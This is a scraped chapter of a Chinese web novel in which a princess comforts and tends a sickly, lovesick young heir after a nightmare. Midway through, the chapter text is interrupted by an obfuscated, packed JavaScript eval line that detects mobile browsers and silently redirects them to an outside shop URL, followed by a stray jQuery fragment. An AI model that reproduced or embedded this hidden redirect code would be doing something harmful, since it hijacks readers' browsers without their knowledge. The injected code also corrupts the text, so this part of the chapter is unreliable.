文趣网 > 其他小说 > 病弱世子娇养手札 > 33. 手疼
    明德帝虽仍许裴昭宁再在宫外住几日。

    可这会儿她反正已经回来了,便想着叫她明日再出去。

    裴昭宁软磨硬泡不行,忽听见明德帝问她:“你这般急着要出去,是同谁有约吗?”

    裴昭宁一滞,又听见他说:“便是同谁有约,也先陪朕用过膳再说,别学你阿爹,从前一遇着你阿娘的事,就把朕抛在脑后。”

    他摇摇头:“行了,今日就歇在宫中。”

    裴昭宁看着他,总觉得他看出了些什么。

    明德帝已经吩咐人去摆膳。

    第二日一早,裴昭宁便出了宫去。

    等到别院,天色已经大亮。

    侍从说世子爷一早就去了刑察署司。

    裴昭宁只好又赶过去,便在值房看见了殷珩。

    他躺在躺椅上,身上拢着大氅,又搭了床薄毯,轻轻闭着眼,似乎正睡着,长睫在眼下投出小片浓密的黛色,脸色有些憔悴。

    空青小声解释道:“昨儿夜里好像没怎么睡,起身的时候便有些不大舒服,早上的药也没喝,方才实在撑不住了,这才躺了会儿。”

    殷珩忽然轻轻咳嗽了起来,眉心轻蹙,原本搭在心口的手也用了些力,毯子滑落下来。

    裴昭宁轻手轻脚走过去,俯身替他掖好,看见他额间薄薄的虚汗,口唇微微有些发绀。

    裴昭宁在一旁坐下。

    殷珩虽是倦得不行,睡得却并不安稳,乱七八糟的梦中,总是能听见许多奇奇怪怪的话,他起初还能辨别出这只是梦,可是一层层的梦下来,到最后他也没力气分清,以为自己已经清醒了过来,然后他看见了裴昭宁。

    心中不由生出几分委屈。

    骗子…

    说好了晚饭前会回来的。

    现在好不容易回来了,却还背对着他。

    他轻轻攥住她的衣摆,不满地轻哼:“裴昭宁,你怎么才回来。”

    他话音未落,撑着身子想要起来抱住她。

    却见裴昭宁转过身,目光冰冷,带着一丝厌倦。

    “别再缠着我了。”

    “殷珩…殷珩?”

    裴昭宁眼睁睁看着他脸色在瞬间变得惊惶不安,身子像是被什么东西狠狠拽了一下,绒毯从他肩头滑落,他右手胡乱在空中抓握了几下,唇瓣轻颤:“裴昭宁…别…”

    声音轻得微不可闻,裴昭宁自然不曾听清,只是见状不对,便先握住了他的手,连声将人唤醒。

    那双丹凤眼猛地睁开,像是还没从梦里完全挣脱出来,目光涣散而空茫,不知落在何处,胸口剧烈起伏着,气息急促紊乱。

    “殷珩。”

    裴昭宁用力捏了捏他的手,另一只手也轻轻摸了下他的脸,“被魇着了吗?”

    殷珩恍惚间听见她的声音,视线轻轻偏转,看见她的脸,眼眸骤然一缩。

    “裴…”

    胸口仿佛被巨石压着,连着声音也一同堵住,他喉间艰涩吞咽着,却说不出半句话,反倒愈发喘不过气来,雪白的一段脖颈微微后仰,冷汗淋漓,眼底水光涌动。

    “别说话,我在这儿,你先将药吃了。”

    裴昭宁忙取了丸药喂他。

    冷汗落在睫间,模糊了视线,苦涩的药丸被塞入唇间,殷珩直直盯着眼前那张脸,他终于看见裴昭宁担忧的模样。

    却分不清到底什么是梦什么是假,刺骨的寒意几乎要将他淹没,他身子簌簌发着抖。

    “裴昭宁。”

    模糊地呢喃,这次裴昭宁听清了他在喊自己的名字,连忙应着。

    “抱…”

    他沉沉吐息着,想要离她再近一些,身子微微撑起,手蓦然又攥紧了胸口的衣裳,抑制不住地呻吟了声。

    “好,好,你别动,我抱你好不好?”

    裴昭宁挤进躺椅间,小心翼翼抱住他。

    裴昭宁轻叹,也幸得怀中这人瘦得实在有些不成样子,不然怎么躺得下他们两人。

    殷珩一被她抱住,身子便紧紧贴了过来,抖得愈发厉害:“你…”

    “我的错,这不是皇伯伯不许嘛,我今儿一早就出来了,还想着能同你一起用早饭。”

    裴昭宁轻车熟路地哄着他,掌心抚过他后颈,“昨天难受成那样,怎么不好好在家中歇一日,我可听空青说了,你药也不吃,饭也不用。”

    殷珩听见她的声音,心头的惶然不安渐渐散去,额头轻轻贴在她颈边,闭了闭眼:“你答应了我,晚饭前回来。”

    虽是有些委屈,此刻却也生不出多少脾气,反复想着她刚才说的那句话。

    别院…算是他们的家吗?

    裴昭宁心虚了一瞬,又想起自己提前交代过。

    “这不是事出有因吗?总不好叫殷承渊先进宫告了我的状。”

    她不太想在殷珩面前提起这些,正要再说些什么,殷珩却主动问起:“你对他动手了?”

    昨日宁国公一来,裴昭宁便叫空青先带殷珩回去。

    她原本是打算在回宫前一日再去找宁国公算账的,不过宁国公自己撞上来,她新仇旧恨涌上心头,索性便一并讨了回来。

    殷珩从她怀中仰起头,因为难受,眼底漾开了一层薄薄水雾。

    裴昭宁也没瞒着他:“抽了他一鞭子。”

    她看着殷珩,一时拿捏不住他怎么想的。

    殷珩轻轻蹙眉:“陛下责罚你了吗?”

    他知道明德帝疼爱裴昭宁,她此番似乎也没什么不对,可就是忍不住去担心。

    就像裴昭宁看见他那双水光粼粼的眼睛,也忍不住抬起手,摸了摸他的脸。

    “怎么会…”

    她低头,轻轻吻住他眼尾。

    殷珩不由自主的闭上眼,双手揪住了她腰侧的衣料。

    躺椅不堪重负地发出咯吱声响。

    不知过了多久,裴昭宁慢慢松开他,指尖点在他有了水色的唇瓣上,终于觉得顺眼了几分。

    殷珩轻喘着,眼底的水雾更重,看着她要起身,费力抬起手,攥住他手腕。

    裴昭宁无奈解释:“挤得我难受,起来坐会儿,再说了…”

    她忽然又笑:“这椅子都快塌了,等会儿怎么同人解释,你便是还想要我亲你,也先起来再说。”

    殷珩耳尖忽然就红了,指尖好似被烫了下,松开她的手。

    裴昭宁拉着他起身走到榻边,殷珩头晕得不行,身子发软。

    裴昭宁只好又抱住他:“你不会从昨天晚上到现在,一直都没吃东西吧?”

    殷珩不说话。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723303|206370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    裴昭宁哼道:“亏我昨日还买了点心给你,早知道还不如全给二丫。”

    她吩咐空青去备些吃食。

    殷珩伏在她怀中,这会儿才有力气说话:“点心…我吃了的。”

    也不知有没有一块。

    裴昭宁不想说他,两指捏住他的脸,本想说他两句,又作罢,叹气道:“你还想不想和我去看灯会。”

    殷珩身上又点说不出的难受,轻轻挪了挪身子,又换了个姿势:“我又没说不去,是你不许。”

    裴昭宁没好气道:“你如今这样几步路都头晕,怎么陪我去?”

    殷珩不说话了,又轻轻动了下。

    裴昭宁按着他,拢了拢毯子:“别乱动,等会儿再冷着了。”

    殷珩蹙眉道,声音听着有点儿难受:“躺着不舒服…”

    “谁叫你总不吃东西,瘦成这样,躺着自然硌得慌。”

    裴昭宁嘴上说着,却抬手摸了摸他额头。

    果然有些烫手。

    “发热了,身上还有没有哪儿难受?”

    殷珩没搭话。

    裴昭宁轻轻一拍他手臂:“又生气了?”

    殷珩还是不理她。

    裴昭宁懒得再和他说,正好这时空青送了饭食进来。

    裴昭宁让他就将饭食摆在小几上。

    “张大夫跟着来了吗?”

    空青为难地看了眼她。

    裴昭宁明白过来,真不知说这人什么好了。

    空青又问:“要现在去接张大夫过来吗?”

    裴昭宁想了下:“别麻烦了,用过饭食就送他回府吧。”

    殷珩总算开口:“你呢?”

    她自然是同他一起,不然不知道这人还要怎么折腾。

    不过话到嘴边,裴昭宁又改了口:“我还没想好呢。”

    殷珩蓦然挣开她,勉强坐直了些,身子有些打晃,裴昭宁下意识伸手,也被他推开。

    那双凤眼用力盯着她,仿佛要剥开她的皮,看穿她的心一样。

    裴昭宁端起小几上的碗:“等你好好吃了饭,我再和你说。”

    一碗清粥,滋味看起来就不如家中的。

    “将就吃点垫垫。”

    殷珩没动,就这般看着她:“今日灯会就要开始了。”

    今日么?

    裴昭宁愣了下,一算日子,还有十五天就是年三十了。

    “陛下说不定哪日就要你回宫了。”

    殷珩继续道,“你回了宫,又不知何时才出来。”

    裴昭宁道:“那也不能…”

    “算了。”

    殷珩忽然垂下眼去,“横竖你也不是当真想与我一起,不过哄我罢了。”

    裴昭宁一句话没说,叫他平白指责一番,却也生不出脾气来,无奈道:“行了,今日去便是,你先吃点东西。”

    殷珩这才终于有了点笑意,不过还是刻意绷着一张脸,下颌轻轻抬起,丹凤眼扫过裴昭宁手中的碗,便要伸手接过。

    裴昭宁作势要给他。

    他指尖微微一顿,又看向裴昭宁。

    裴昭宁假装不懂地看着他,忍一时,实在没忍住,便笑起来。

    殷珩半是羞恼,半是破罐破摔,便道:“我手疼,没力气。”